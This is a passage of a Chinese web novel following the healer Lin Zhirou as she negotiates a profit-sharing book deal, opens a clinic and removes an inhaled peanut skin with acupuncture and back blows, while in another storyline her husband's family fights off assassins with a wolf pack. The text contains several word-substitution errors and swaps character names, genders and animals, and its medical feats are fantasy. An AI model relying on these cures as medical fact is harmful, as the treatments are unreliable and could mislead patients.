林芷柔连忙搀扶起妇人,示意她坐下。随后,她仔细为男人诊脉,眉头渐渐皱起。片刻后,她神色凝重地问:“能让我看看您的肚子吗?” 夫妻俩忙不迭地答应。林芷柔跟着病人进了里屋,留下珩氏和楚星澜在外间等候。 珩氏看着林芷柔的背影,不禁摇头:“这孩子,明明是来谈生意的...” 楚星澜端起茶杯抿了一口,嘴角带着温柔的笑意:“三婶,嫂嫂向来是这样。只要见到病人,她就忘了其他。就算是乞丐,她也会全力相救。” 珩氏默默点头,想到自己虽然被贬为庶人,但一家人平安健康,已是莫大的福分。她端起茶杯,茶香沁人心脾,让她紧绷的神经渐渐放松。 里屋中,林芷柔仔细检查完病人的情况,神色凝重。 “大夫,我这病......”严明远艰难地撑起身子,却被一阵剧烈的咳嗽打断。他用帕子捂住嘴,待咳嗽平息,帕子上已沾染了点点血迹。 一旁的濮馨连忙搀扶住丈夫,眼中泛起泪光:“相公,你别说话了。” “无妨。”严明远摆摆手,目光灼灼地看向林芷柔,“大夫,你但说无妨。我这病,到底还有没有得治?” 林芷柔沉默片刻,手指轻轻叩击着诊脉的位置。窗外传来几声鸟鸣,更衬得屋内气氛凝重。 “说实话,你这病......”她停顿了一下,目光在严明远身上逡巡,“寻常方子怕是难以见效了。” 濮馨的身子猛地一颤,手中的药碗差点掉落。她强忍着泪水,声音哽咽:“那、那该如何是好?” “大夫,你尽管直说。”严明远的声音虚弱却坚定,“早死晚死都是一条路,若不治,连希望都没有了。” 这番话倒是让林芷柔对这个病人多了几分好感。她正欲开口,忽见严明远又是一阵剧烈咳嗽,连忙取出一个小瓷瓶。 “先服下这个。”她将瓷瓶递过去,“能暂时止住咳血。” 待严明远服下药丸,脸色稍霁,林芷柔这才缓缓道:“既然你这般说,那我便直言不讳了。你这病,需得开膛破肚才能治。” “开膛破肚?”濮馨惊呼出声,一张脸瞬间煞白。她死死抓住严明远的衣袖,“相公......” 严明远轻轻拍了拍妻子的手,示意她冷静。他深吸一口气,目光炯炯地看向林芷柔:“林大夫,你今日来,不单是为了看病吧?” “确实。”林芷柔也不遮掩,从袖中取出一本册子,“我三婶搞了个剧本,想请你们过目。” 三人移步外间,珩氏将话本递了过去。阳光透过雕花木窗洒在案几上,映得茶水泛着淡淡的金光。 濮馨坐在一旁,心思却飘忽不定。相公的病终于有了希望,可这开膛破肚......她不由得攥紧了手指,指节泛白。她偷眼看向丈夫,见他正专注地翻阅话本,眉头时而舒展,时而紧蹙。 但转念一想,林大夫既然敢说这样的治法,想必是有把握的。她深吸一口气,强迫自己冷静下来。 严明远看得入神,时不时发出赞叹声。他的手指轻轻摩挲着纸页,仿佛在抚摸什么珍宝。待看完,他猛地抬头,眼中闪烁着兴奋的光芒:“妙!实在是妙!这样的话本若是出版,我墨香书斋必定大卖!” “那不知严掌柜打算出多少银子?”林芷柔轻抿一口茶,目光平静地看着对方。 “一集一两......” “且慢。”林芷柔放下茶盏,打断道,“我要的不是一次性买断,而是分成。” 她的手指轻轻敲击着茶盏边缘,发出清脆的声响:“五五分成。” 这话一出,严明远夫妇面面相觑。濮馨下意识地看向丈夫,却见他眉头紧锁,显然在权衡利弊。 “我知道这个比例有些高。”林芷柔不紧不慢道,“但我可以给你们一些建议。” 她略微前倾身子,茶香在两人之间缓缓飘散:“比如,可以分普通版、精装版和限量版。普通版走寻常价格,精装版做些赠品,价格翻倍。” 她停顿片刻,嘴角微扬:“至于限量版,加上精美插画,价格可以再翻几倍。” 严明远眼睛一亮,激动得差点从椅子上跳起来,又被一阵咳嗽打断。濮馨连忙给他顺气,却听他断断续续道:“对!贵人就喜欢与众不同的东西!” 林芷柔等他平静下来,继续道:“还有,你们这二楼空着也是空着,不如......” 她起身走到窗边,目光扫过窗外熙熙攘攘的街道:“改成茶室如何?” “茶室?”濮馨有些迷惑,下意识地抬头看向头顶的天花板。 “配上精致点心,让贵人们一边品茶看书,一边享用美食。”林芷柔转身,阳光在她身后洒落,为她镀上一层淡淡的金边,“我这里倒是有几个简单的点心方子......” 她细细讲解起来,从点心的选材到制作工艺,再到摆盘装饰,无不详尽。甚至连茶室的装潢布置,她都给出了具体建议。 听完林芷柔的讲解,濮馨眼中异彩连连。她看向丈夫,发现他也是一脸震撼。 这些主意,随便拿出一个都够让墨香书斋赚上一笔。难怪她要五五分账,光是这些建议,就值这个价了。 严明远更是激动得连病都顾不上了,一把抓住林芷柔的手:“林大夫,我这就去安排排版印刷的事!” “不急。”林芷柔轻轻抽回手,摇了摇头,“先把二楼收拾出来,做好宣传。” 她站起身,整了整衣袖,目光中带着几分笑意:“要的是长久生意,不是一时热闹。” 说罢,她从袖中取出一个小瓷瓶,放在桌上:“这是止血的药,每日服用一粒。等你身子稍好些,我们再详谈手术的事。” 严明远夫妇连忙起身与林芷柔一起走向到院中。濮馨握住丈夫的手,轻声道:“相公,这位林大夫,当真是我们的贵人啊。” 严明远点点头,目光中闪烁着希望的光芒。 第一百九十九章 合作谈成 来到院中,林芷柔给大家讲二楼改成茶室后需要搭配一些特有的点心比如“玉凤饼”,“玉凤饼的外皮要炸得金黄,里面却要软糯。”林芷柔的声音轻柔悦耳,“最关键的是火候,油温太高会炸糊,太低又不够酥脆。”珩氏听着听着,不由自主地咽了咽口水。她的喉咙微微滚动,眼前仿佛浮现出那金黄酥脆的点心,空气中似乎都飘散着诱人的香气。 一旁的楚星澜却兴致缺缺,她纤细的手指无意识地摩挲着衣袖,眉头微蹙。每次吃完油炸食物,她都会上火流鼻血,这些美味对她来说就是画中的饼,看得见吃不得。 “柔柔姐姐,”楚星澜轻声插话,“我们是不是该谈谈话本的事?” 林芷柔微微一笑,目光转向严明远。后者正襟危坐,脸色略显苍白,眼底带着病态的红丝。他咳嗽了两声,用手帕掩住嘴:“林大夫,这话本确实不错,我们墨斋香书局愿意接收你的画本。” “那分成的事......”珩氏欲言又止,手指不自觉地绞着帕子。她心里清楚,这可能是改变家境的一次机会,却又担心要价太高会吓退对方。 严明远咳嗽几声,缓缓道:“五五分账如何?我们出人出力,负责印刷发行,你们只管写就是。” 这个提议出乎意料的好,珩氏一时不敢相信自己的耳朵。她下意识看向林芷柔,后者微微颔首。 “严掌柜,您这提议......”珩氏话未说完,就被濮馨打断。 “我家掌柜最是爽快!”濮馨笑容满面,“既然林大夫肯为我家掌柜看病,这买卖自然要做得漂亮些。”一时间众人陷入短暂的沉默。林芷柔注意到严明远的手指正无意识地摩挲着茶杯,显然在强忍着不适。 “那这第一集......”珩氏小心翼翼地问。 “先印五百本试试水。”严明远说着又是一阵剧烈的咳嗽,“若是卖得好,后续可以加印。” 楚星澜在一旁默默记下这些细节。虽然年纪小,但她深知这些都关系到母亲的未来。她偷偷瞄了眼母亲,发现母亲的手还在微微发抖。 “对了,”濮馨突然想起什么,“林大夫,您刚才说的点心方子,能不能详细说说?” 林芷柔温和一笑:“自然可以。首先要选新鲜的地瓜,蒸熟后趁热捣烂。加入适量糯米粉,揉成光滑的面团。” “面团要揉得够劲道,”她的手指在空中比划,“搓成小丸子时要均匀,大小要一致。” 珩氏听得入神,仿佛看到那些金黄的小球在油锅里翻滚。她想起自己年轻时在娘家,也常做些点心糕点,只是嫁入楚家后,这些手艺就用不上了。 “油温要控制得当,”林芷柔继续说道,“下锅时要用小火,炸至金黄就可以捞出。最后撒上蜜糖和芝麻,趁热吃最好。” “还可以做成薄片,”她补充道,“压得越薄越酥脆,但要注意火候。” 濮馨听得双眼发亮:“太感谢林大夫了!等我做好了,一定给您送去尝尝。” “不用这么客气。”林芷柔婉拒道,“我家全是老人和小孩,不太适合吃这种油炸的东西。” 严明远却坚持道:“这哪里麻烦?反正我们还要找林大夫看病。这本子我同意对半分成,现在就可以签合约。” 珩氏看向林芷柔,后者笑着摇头:“不急,等第一集卖得如何再说不迟。” “那得说好,下集本子可不能给别人。”濮馨忙道,生怕这好事被人抢了去。 珩氏点头应下:“那是自然,林大夫为我争取来的,怎能轻易放弃。” 严明远满意地点头:“那就这么定了。我这就去安排,等第一集出来有了成效,再来找林大夫看病。” 他的眼神闪烁,显然心里另有打算——即便自己熬不过这一遭,至少也要给妻儿留条活路。这病来得蹊跷,他心里也没底,但总要为将来做些准备。 “好,那我们先告辞了。”林芷柔起身,想着医馆还没收拾妥当,明天就要开诊,得赶紧准备才是。 濮馨将几人送到门口,目送她们远去。 马车上,珩氏心情愉悦,与林芷柔有说有笑。马蹄声哒哒作响,车厢随着石板路的凹凸微微晃动。到了楚家老宅附近,珩氏下了车,与林芷柔道别。 推开院门,楚云仲焦急的身影立刻出现在眼前。他快步迎上来:“如何?墨香书局收了吗?” 珩氏摇头,将今日的经过娓娓道来。说到五五分成时,楚云仲猛地站起,差点打翻了茶杯:“五五分成?那得卖多少钱一集?” “这个我也不清楚。”珩氏坦言道,“不过柔柔为了促成这事,连拿手点心的方子都教给人家了。老爷,那一百五十两银子真是没白花啊。” 说着,她又忧心忡忡地看着丈夫:“就怕老夫人知道了要骂我不守妇道,让您休了我。” 楚云仲跌坐在椅子上,长叹一声。阳光透过窗棂,在他疲惫的脸上投下斑驳的阴影:“休你是不可能的。只是老夫人那边,怕是免不了一场风波。” 他沉吟片刻:“要不这样,分成的银子,你留一半,剩下的跟老夫人平分。不舍点出去,日子怕是不好过。” 珩氏心里泛起一阵苦涩。银子还没到手,就得想着怎么分。但她也明白,在这个家里,有些妥协是必须的。 “老爷说得是,咱们走一步看一步吧。”珩氏换下外衣,“我去厨房帮忙了。” 楚云仲望着妻子的背影,心中五味杂陈。一个女人撑起一家子的生计,他这个当家做主的却只能干看着。 他想去找大嫂帮忙谋个出路,可那天闹得那般难看,如今再登门,又该如何开口?夜色渐浓,院子里传来下人们准备晚饭的声响,楚云仲依旧坐在那里,陷入深深的思索之中。 第二百章 撕杀 寒风呼啸,雪花纷飞。 楚星澜站在庭院中,仰望着漆黑的楚空。积雪覆盖了整个庭院,月光洒在雪地上,反射出幽幽的冷光。他的手指无意识地摩挲着腰间的剑柄,粗糙的纹路让他的思绪不由自主地飘向了帝都。 “柔柔...”他的声音很轻,几乎被风声淹没。 院子里灯光闪烁,将他的影子投射在雪地上,忽长忽短。这座位于群山之间的庭院显得格外寂寥,仿佛与世隔绝的孤岛。楚云浪和楚星霆已经在屋内休息,而他却无法安眠。 寒风裹挟着雪花拂过他的脸庞,带来刺骨的凉意。他微微眯起眼睛,察觉到空气中弥漫着一丝异样。那是一种令人不安的气息,像是潜伏的毒蛇,随时准备发起致命一击。 “少爷,您该休息了。”林小七的声音从身后传来,带着几分担忧。 楚星河没有回答,他的目光依然凝视着远方。忽然,他的瞳孔微微收缩,手已经按在了剑柄上。 “有人来了。”他的声音很轻。 话音未落,无数黑影从四面八方涌来,他们的动作轻盈得不可思议,身形诡谲如鬼魅。转眼间,整个庭院就被团团围住。 “楚星澜!”为首的黑衣人冷喝一声,声音透过面纱传来,显得格外阴冷。 楚星澜缓缓转身,月光下,他的表情平静得近乎冷漠。“幽冥之刃?”他轻声问道,语气中带着几分讥讽,“山云上最神秘的杀手组织,竟然亲自来取我的性命?” 黑衣人首领没有说话,手中的长剑在月光下泛着寒光。突然,他的身形一晃,剑光乍现! “铛!”清脆的金属撞击声在寂静的楚里格外刺耳。楚星澜的剑不知何时已经出鞘,稳稳地挡住了这致命一击。 两人的身影在雪地上快速移动,剑光交错,寒芒四射。黑衣人首领的剑法诡异莫测,每一招都暗藏杀机。而楚星澜的剑法则凌厉霸道,招招直取要害。 “小心!”楚云浪的声音突然响起。 只见黑衣人首领的剑锋突然变向,直取楚星澜心口。这一剑快若闪电,角度刁钻,避无可避。楚云浪的心瞬间沉到谷底。 然而就在这千钧一发之际,楚星澜的身形突然以一个不可思议的角度扭转。剑锋擦着他的衣襟而过,带起一片雪花。 “噗嗤!” 一声轻响,鲜血喷涌。黑衣人首领低头看着自己胸前露出的剑尖,眼中闪过难以置信的神色。他跪倒在雪地上,鲜血染红了皑皑白雪。 “统领!” “头儿!” 周围的黑衣人发出惊呼,纷纷举剑冲向楚星澜。 楚星河抽回长剑,剑尖上的血滴一滴一滴落在雪地上。“滴答、滴答”的声音在寂静的楚里格外清晰。他的目光扫过周围的黑衣人,眼神冷得像冰。 “既然来了,就都留下吧。” 话音未落,他的身形已经化作一道残影,穿梭在黑衣人之间。剑光闪烁,惨叫声此起彼伏。每一剑都快准狠,不给对手任何反应的机会。 楚云浪和楚星霆也加入了战斗,三人配合默契,很快就将剩余的黑衣人尽数击倒。 雪地上横七竖八地躺着十几具尸体,鲜血染红了大片雪地。夜风呼啸,卷起雪花,空气中弥漫着浓重的血腥味。 楚星河走到黑衣人首领身边,蹲下身子。首领还没有断气,但气息已经很微弱。 “谁派你们来的?”楚星河问道。 黑衣人首领发出一声冷笑:“你很快...就会知道了...”说完,他的头一歪,气息全无。 楚星河站起身,看着远方若有所思。这些人的出现,意味着更大的阴谋正在逼近。他不由想起远在帝都的柔柔,不知她是否也在面对着什么危险。 “少爷,我们该怎么办?”林小七问道,声音中带着几分担忧。 楚星河没有立即回答。他走到院子中央,仰头看着漆黑的楚空。雪花依然在纷纷扬扬地落下,但他已经感觉不到寒冷。 “收拾一下,天亮之前离开这里。”他最终说道。 楚云浪走过来,拍了拍他的肩膀:“星河,不用太担心。柔柔那边有人照看,应该不会有事。” 楚星河点点头,但心中的不安却越发强烈。幽冥之刃不会无缘无故地对他出手,背后一定有人在操控。这个人究竟是谁?他们的目的又是什么? 林小七和几个下人开始处理尸体,楚星霆则去准备马匹和行李。楚星河站在原地,看着地上的血迹逐渐被新落下的雪花覆盖。 远处的山峦依稀可见,天边泛起了一丝微弱的晨光。新的一天即将开始,但他知道,这只是更大风暴的开端。 庭院中的灯火依旧在风中摇曳,将众人的影子投射在雪地上,拉得很长很长。血腥味渐渐散去,取而代之的是清晨特有的清新。 楚星河握紧了手中的剑,他知道,接下来的路会更加艰难。但无论前方有什么等待着他,他都必须面对。因为在帝都,还有人在等着他。 楚云浪望着大儿子脱离险境,紧绷的心弦终于松懈下来。月光下,他苍白的面容上浮现出一丝疲惫,眼角的皱纹在这一刻格外明显。 寒风呼啸,卷起地上的积雪。楚星霆早已按捺不住,他的声音在寂静的夜色中格外响亮:“林小七,这些黑衣人都该死,给我咬死他们!” 林小七仰天长啸,声音在山谷间回荡。群狼闻声而动,如潮水般涌向那群黑衣人。月光下,狐群的眼睛闪烁着幽绿的光芒,利齿森森,喉咙里发出低沉的咆哮。 黑衣人虽然身手不凡,但面对成群的恶狼,还是显得力不从心。有人挥剑斩向扑来的银狐,却被另一只狼从背后扑倒。惨叫声此起彼伏,血腥味在空气中弥漫。 楚星河站在高处,冷眼旁观这一切。月光为他削瘦的侧脸镀上一层银边,衬得他整个人愈发清冷。他的眼底闪过一丝困惑,这些人明明已经重伤,为何还要负隅顽抗? 一名黑衣人被逼到悬崖边缘,他的面具已经碎裂,露出半张狰狞的脸。“楚世侯,你以为杀了我们就能平安无事吗?”他狂笑着,“你永远不知道自己惹上了什么人!” “是吗?”楚星河缓步走近,声音里带着几分讥诮,“那不如你告诉我,究竟是谁在背后指使?” 黑衣人咳出一口血,染红了胸前的衣襟。他颤抖着从怀中掏出一块牌子,随手扔在雪地上。“自己看吧。” 话音未落,他突然吹响一声尖锐的哨声。幸存的黑衣人闻声而动,纷纷聚拢过来,跪在他身旁。他们的动作整齐划一,显然经过严格训练。 楚云浪和楚星霆带着林小七围了上来。林小七低吼几声,狐群立即会意,形成一个密不透风的包围圈。黑衣人们被困在中间,退无可退。 月光下,黑衣人们的脸上写满惊恐。他们从未见过有人能如此驾驭狐群,,还有这样可怕的帮手。 楚星河弯腰捡起地上的牌子,仔细端详。牌子上的图腾繁复精美,与之前在玉牌上看到的标记一模一样。他的眉头微皱,心中疑云更重。 第二百零一章 幕后黑手到底是谁 “玄冥皇室?”楚星河冷笑一声,声音里带着几分不屑,“他们出钱买你们来杀我们?” 倒在地上的黑衣人首领已经奄奄一息,胸前的鲜血将雪地染成刺目的红色。他艰难地开口:“楚世侯,。幽冥之刃发誓,此生不再与楚家为敌。” “你的誓言,能代表所有人吗?”楚云浪冷冷开口,声音里带着显而易见的不信任。 黑衣人首领挣扎着抬起头,对手下发出最后的命令:“快跪下求饶!从今往后,天玄云陵伯府楚家就是我们幽冥之刃的贵客,无论谁出多少钱,都不准接他们的单子。” “是!”黑衣人齐声应答,随即向楚家父子磕头求饶。他们的额头重重叩在雪地上,发出沉闷的声响。 楚星河注视着手中的牌子,月光下那繁复的图案仿佛在诉说着什么。这场追杀背后,究竟还有多少不为人知的秘密?那些暗流涌动的势力,又将把他们引向何方? “这图腾究竟是什么意思?”他沉声问道,声音里带着一丝压抑的怒意。 “是玄冥柳贵妃的标记。”,“山云中人见到这个,都不敢造次。她的势力比你想象的要大得多。” “柳贵妃?秦面罗刹李远龙的生母?”楚星河的瞳孔微缩,想起了一些往事。 “正是。”首领的呼吸变得急促,“秦面罗刹武功极高,可惜双脚被废。他的师父黑针失踪后,这活才落在我们头上。” 楚星河心中一紧,手指不自觉地收紧。黑针早已命丧黄泉,尸骨就埋在云州外。这件事,只有他和柔柔知道。那个雨楚的记忆突然涌上心头,让他的心跳不由自主地加快。 寒风呼啸,卷起地上的积雪。:“求楚世侯开恩。我们发誓,从此只在玄冥活动,再不踏足天玄一步。” 话音未落,他的手臂无力地垂下,眼中的光芒渐渐熄灭。鲜血在雪地上蔓延,勾勒出一朵妖艳的红梅。 “老大!”“统领!”“头儿!”黑衣人们痛哭失声,声音在寂静的夜色中显得格外凄厉。 楚星河面无表情地看着这一幕,月光为他的侧脸镀上一层雨柳:“带着他走吧。记住你们的誓言,若有下次,就不会这么幸运了。” 楚星霆不满地跺脚:“林小七,咬死他们!” 但狐群纹丝不动,只是静静地望着楚星河。没有他的命令,它们不会轻举妄动。群狼的眼睛在黑暗中闪烁着幽绿的光芒,如同无数双冰冷的眼睛在注视着这一切。 黑衣人们如蒙大赦,抬起首领的尸体,仓皇逃离。他们的背影很快消失在茫茫夜色中,只留下雪地上斑驳的血迹,诉说着方才发生的一切。 楚星河望着他们远去的背影,手中紧握着那块带着玄冥皇室图腾的牌子。寒风吹起他的衣袍,也吹散了空气中的血腥味。这场追杀,恐怕只是一个开始。更大的风暴正在酝酿,他们终将卷入这场看不见尽头的漩涡之中。 楚云浪走到儿子身边,拍了拍他的肩膀。父子二人都没有说话,只是静静地望着远方。月光下,他们的影子被拉得很长很长。 林小七低声呜咽,似乎感受到了主人的心情。狐群也收起了獠牙,安静地趴在地上。寒风呼啸,卷起地上的积雪,仿佛在无声地诉说着什么。 这一夜注定无眠。楚星河知道,从今往后,他们将面临更多的危险和挑战。玄冥皇室、柳贵妃秦面罗刹......这些名字背后,究竟隐藏着怎样的秘密? 雪越下越大,很快就掩盖了地上的血迹。但有些事情,终究无法被时间抹去。就像那些未解的谜题,始终萦绕在心头,挥之不去。 楚星霆望着黑衣人远去的背影,眉头紧锁。他本想出手阻拦,但想到大哥的叮嘱,只得生生压下这股冲动。林小七毕竟是大嫂留给大哥的,这些事还是得听从大哥的意思。 月光如水般倾泻而下,林小七那双琥珀色的眼睛在夜色中闪烁着异样的光芒。它慢条斯理地喝完水,抖了抖毛发,迈着优雅的步伐回到狼群中。 作为一头狼王,林小七生得格外与众不同。它那油亮的皮毛在月光下泛着淡淡的银光,每一个动作都透着矫健与优雅。狐群中的其他成员都对这位首领心怀敬畏,甚至连靠近都不敢太过接近。 “这家伙,还真是挑剔。”楚星霆看着林小七拒绝了又一只想要亲近的母狼,不禁摇头失笑。这头聪明的狼王至今仍未寻得心仪的狼伴,不论是影豹还是银狐,在它眼里似乎都配不上自己。 远处传来几声低沉的狼嚎,林小七立即警觉地竖起耳朵。它朝着声音传来的方向嗅了嗅,随即带领狐群消失在夜色中。 与此同时,帝都里的仁心医馆正在紧锣密鼓地准备开业。林芷柔带着全家人忙得不可开交,医馆虽然不大,但收拾起来也着实费了不少功夫。 “这些药材得按照性质分类存放。”林芷柔一边整理着药柜,一边向赵氏交代,“寒凉的放在这边,温热的放在那边,千万别搞混了。” 赵氏认真地点头记下,手上的动作也不停歇:“我记住了,柔柔你放心。这些年在云州跟着你,多少也学会了一些。” 顾馨巧抱着阳阳,看着忙碌的众人,脸上带着温柔的笑意。小家伙睁着圆溜溜的大眼睛,好奇地打量着这个陌生的环境。 “阳阳乖,等会儿娘亲忙完了就陪你玩。”顾馨巧轻声哄着孩子,顺手帮忙整理着散落的药包。 楚星澜穿梭在医馆的各个角落,帮着搬运物件。她觉得这样的生活比在云州有趣得多,昨晚还趁着月色写了个话本子的开头,只是还没来得及给嫂嫂过目。 “星澜,你写的什么话本子?”林芷柔注意到小姑子手中的纸张,好奇地问道。 楚星澜脸上飞快闪过一抹红晕:“没什么,就是随便写写。”她把纸张往怀里藏了藏,显得有些局促。 “行了,等你写好了再给我看也不迟。”林芷柔笑着摇摇头,继续忙自己的事情。 第二百零二章 特殊的病人 正当众人忙碌之际,门外传来一阵脚步声。苏语嫣带着她父亲和祖父来到了医馆。 老人一进门就剧烈地咳嗽起来,整个人弯着腰,仿佛要把肺都咳出来一样。苏语嫣的父亲连忙扶住老人,脸上写满了担忧。 “林大夫,我父亲这咳嗽已经持续很久了。”中年男子一边扶着老人坐下,一边解释道,“帝都的大夫都看遍了,可就是不见好转。” 林芷柔仔细观察着老人的症状,同时开始询问病情。当听说是在喝酒时因为醉花生呛到后开始咳嗽的,她心中已有了计较。 “老人家,让我为您把把脉。”林芷柔说着,已经伸手搭上了老人的脉搏。 片刻之后,她起身走向药柜,取出几根玉针。赵氏见状,立刻准备好了消毒用的药水和木盆。 “您这是花生皮卡在了气管里。”林芷柔一边准备器具,一边解释道,“我先用针灸帮您松动一下,然后再用推拿的方法把异物取出来。” 老人听了这话,眼中闪过一丝惊讶:“这么简单?可那些大夫都说是肺热......” “那是因为他们没找到病根。”林芷柔微微一笑,“您放心,很快就能好。” 施针的过程中,医馆里安静得能听见针落。所有人都屏住呼吸,生怕打扰到林芷柔。随着玉针一根根落下,老人的咳嗽果然减轻了许多。 “现在感觉如何?”林芷柔一边收针,一边问道。 老人深吸一口气,惊喜地发现呼吸已经顺畅了不少:“好多了,好多了!” 接下来是推拿环节。林芷柔的手法既准确又有力,没多久老人就开始呕吐。先是清水,然后是早饭。眼看花生皮还未出来,她稍稍加重了力道。 苏语嫣在外间焦急地踱步,时不时往里张望。她父亲则是一脸凝重地坐在椅子上,手指不自觉地敲打着扶手。 苏语嫣听着里屋传来的声响,心如刀绞。 祖父的呕吐声一阵接着一阵,每一声都让她揪心不已。她的手指无意识地抠着衣袖边缘,细密的刺绣在她的指尖下变得凌乱不堪。 “咳咳——”又是一阵剧烈的咳嗽声传来,伴随着痛苦的呻吟。 楚星澜见她面色苍白,连忙搬来一张小凳子:“苏小姐,请坐。这样站着,怕是要累坏了。” “多谢。”苏语嫣勉强挤出一丝笑容,缓缓坐下。裙摆在膝前堆叠出优美的褶皱,却掩饰不住她微微颤抖的双手。 诊馆里弥漫着浓郁的药香,各色药材的气味交织在一起,时而清冽,时而苦涩。墙上挂着几幅医案图,笔触细腻,将人体经络描绘得纤毫毕现。 她独自跟着父亲和祖父前来求医,连贴身丫鬟都未带。此刻坐在诊馆外间,双手不自觉地绞在一起,指节因用力而泛白。 “楚公子,”她转头看向楚星澜,眼中闪烁着希望的光芒,“你说...我祖父能把那花生皮吐出来吗?” 楚星澜正在整理药柜,听到问话,动作顿了顿。他放下手中的药罐,转身面向苏语嫣:“一定能。我嫂嫂医术高明,只要她出手,就没有治不好的患者。” “当真?”苏语嫣眼前一亮,随即又黯然叹息,“祖父这咳嗽已经折磨了许久,喝了那么多汤药都不见好。若林大夫能治好祖父的病,我们苏家定会感激涕零。” “这倒不必。”楚星澜摇头,将一个药匣放回原处,“我嫂嫂常说,治病救人是医者的本分。只需支付诊费,便是公平交易。” 他整理完药柜,走到茶案前,为苏语嫣斟了一杯茶:“苏小姐请用茶。这是上好的龙井,可以定心安神。” 苏语嫣接过茶盏,茶香袅袅升起,却难以抚平她焦躁的心绪。她抿了一口,苦涩的滋味在舌尖蔓延。 “说起我嫂嫂,”楚星澜眼中闪着崇敬的光芒,“前些日子,云州有位妇人难产,性命垂危。产婆束手无策,眼看母子性命难保。我嫂嫂二话不说,连楚赶去,亲自动刀,剖开产妇腹部取子,最后母子平安。” “天啊!”苏语嫣惊呼,茶盏在她手中微微晃动,“林大夫居然能剖腹产子?这等医术,当真神乎其技!” “不仅如此,”楚星澜接过话头,“去年冬天,城南一户人家的小儿得了急症,高烧不退,抽搐不止。我嫂嫂用玉针封穴,又以独门秘方退烧,硬是将那孩子从阎王爷手里拉了回来。” 正说话间,里屋传来一阵剧烈的咳嗽声,打断了他们的谈话。 苏语嫣猛地站起身,茶盏“啪”的一声落在地上,茶水溅了一地。她想冲进去看看情况,却又不敢贸然闯入,只能在原地来回踱步。 “林大夫,这可如何是好?”苏语嫣的父亲急切的声音传来,“那东西似乎卡得很深,我父亲都快喘不过气来了。” “好难受...”老爷子的声音沙哑虚弱,带着明显的痛苦,“就在喉咙里,胸口都闷痛。这该死的花生皮,早知道就不吃了。” “老爷子莫慌。”林芷柔的声音沉稳有力,透着一股让人安心的力量,“我要施针了,待会儿我会拍您后背,您配合着用力。记住,我说用力的时候,您就使劲往外吐。” 外间的苏语嫣紧张得手心冒汗,连呼吸都不敢太重。她的目光死死盯着里屋的门帘,仿佛要将那薄薄的布料盯出一个洞来。 “砰!”一声闷响。 “再来!” “砰!”又是一掌。 每一声响都让苏语嫣的心跟着颤动。她的指甲深深陷入掌心,却浑然不觉疼痛。 突然,一声剧烈的呕吐声传来,紧接着是祖父如释重负的叹息:“出来了!终于出来了!” “祖父!”苏语嫣冲到门口,泪水夺眶而出,“您好些了吗?” “好了好了!”老爷子的声音虽然依旧沙哑,却透着欢喜,“不咳了,一点都不咳了!这位林大夫真是神医啊!” 片刻后,林芷柔收拾妥当,回到外间。她身着一袭青色长衫,衣袖挽起,露出一截白皙的手腕。她的面容清秀,眉宇间透着一股沉稳的气质。 苏老爷子已经穿戴整齐,见她出来,立刻起身施礼:“老朽感激林大夫的高超医术!若不是您,这花生皮只怕要要了老朽的命。” “举手之劳。”林芷柔神色平淡,将玉针收入针囊,“老爷子往后吃花生,记得去掉外皮。年纪大了,这些细节都要格外注意。另外,我开几副药,您回去按时服用,可以缓解咽喉的不适。” 她走到药柜前,取出几味药材,动作娴熟地称量分装。阳光透过窗棂,在她身上洒下一层柔和的光晕。 苏语嫣看着林芷柔的背影,心中充满敬佩。这位年轻的女大夫,不仅医术高明,更有一颗悲天悯人的医者之心。她想起方才听到的那些故事,不禁感慨:这样的神医,放眼天下,又有几人? 第二百零三章 倔强的老爷子 “祖父,以后可不能再吃醉花生了。”苏语嫣看着老爷子的脸色,心中暗暗庆幸。昨日那一场惊魂未定的变故,至今想来仍让她后怕不已。 病榻上的苏老爷子脸色已经好转许多,不复方才的苍白,眼神也恢复了几分神采。他轻哼一声,语气里带着几分赌气:“那东西差点要了我的命,以后看都不想看一眼。” 赵氏和顾馨巧对视一眼,忍俊不禁。这位老人家还真是性情中人,说不吃就真的不吃了。屋内的气氛顿时轻松了几分。 “对对对,咱们以后都不碰这个。”苏语嫣连忙顺着老爷子的话说下去,眼底闪过一丝思索。她得想办法改良醉花生的做法,既要保留其独特风味,又不能伤及老人家的身体。 “愣着做什么?”苏老爷子忽然瞪了一旁的儿子一眼,声音提高了几分,“还不快把诊金拿出来!林大夫救了我一条命,诊金可不能小气。” 林芷柔听着这话,心中一暖。她轻轻整理了下衣袖,目光落在床边的药碗上。平日里遇到的病人大多讨价还价,还从未见过主动要加钱的。 “老爷子,我们医馆有规矩,疑难杂症一律收费一千两。”她微笑着解释道,语气温和而坚定。 “一千两?太少了!”苏老爷子立即摇头,苍老的面容上露出不满之色,“必须给两千两!这是规矩,不能破例。” 苏语嫣的父亲闻言,立即从袖中取出玉牌,双手恭敬地递到林芷柔面前。阳光下,那张玉牌泛着淡淡的光泽。 “林大夫啊,”苏老爷子忽然正色道,目光炯炯有神,“你这收费标准得改改。帝都不比云州,铺面租金贵得很。你这医术这么好,疑难杂症怎么也得收两千两,少了都对不起你的本事。” 林芷柔微微一愣,手指无意识地摩挲着衣袖:“这价钱会不会太高了?” “命都快没了,还在乎这点银子?”苏老爷子拍着胸脯说,声音洪亮,“我这病折磨得要死要活的,要是早知道你能治好,给一万两都行!” 看着老爷子滔滔不绝的样子,苏语嫣的父亲眼中闪过一丝欣慰。多少日子没见父亲这般有精神了,这两千两花得值得。屋内的气氛愈发温馨起来。 待苏家人离开后,医馆内重归平静。林芷柔将玉牌递给顾馨巧:“娘,您收着吧。”阳光下,她的侧脸温柔而坚定。 “不用,医馆的事你做主。”顾馨巧笑着推辞,眼角的皱纹里盛满慈爱,“等我手头紧了再找你要。” 林芷柔也不多说,将玉牌交给了萤萤收好。她望着窗外的街景,心里清楚,有锦囊在,药材根本不愁。那片神奇的黑土地,种出的药材取之不尽。 萤萤在锦囊里种了各色药材,从人参灵芝到普通草药,应有尽有。药圃里郁郁葱葱,散发着浓郁的药香。更妙的是,她在云州配制过的药方,在锦囊里都能找到现成的。 春风拂过窗棂,带来远处的喧嚣。林芷柔想到不久后妹妹林巧巧就要来帝都,心里也轻松了几分。她对仁心医馆没有太大野心,能在城南安稳开业就好。 顾馨巧见时候不早,便带着赵氏回去准备午饭。楚星澜和阳阳留下陪着林芷柔,等着一会儿送饭过来。医馆内弥漫着淡淡的药香。 不出几日,林神医的大名就传遍了城南大街小巷。街坊邻居们纷纷传颂她的医术,说她不仅医术高明,还心地善良。 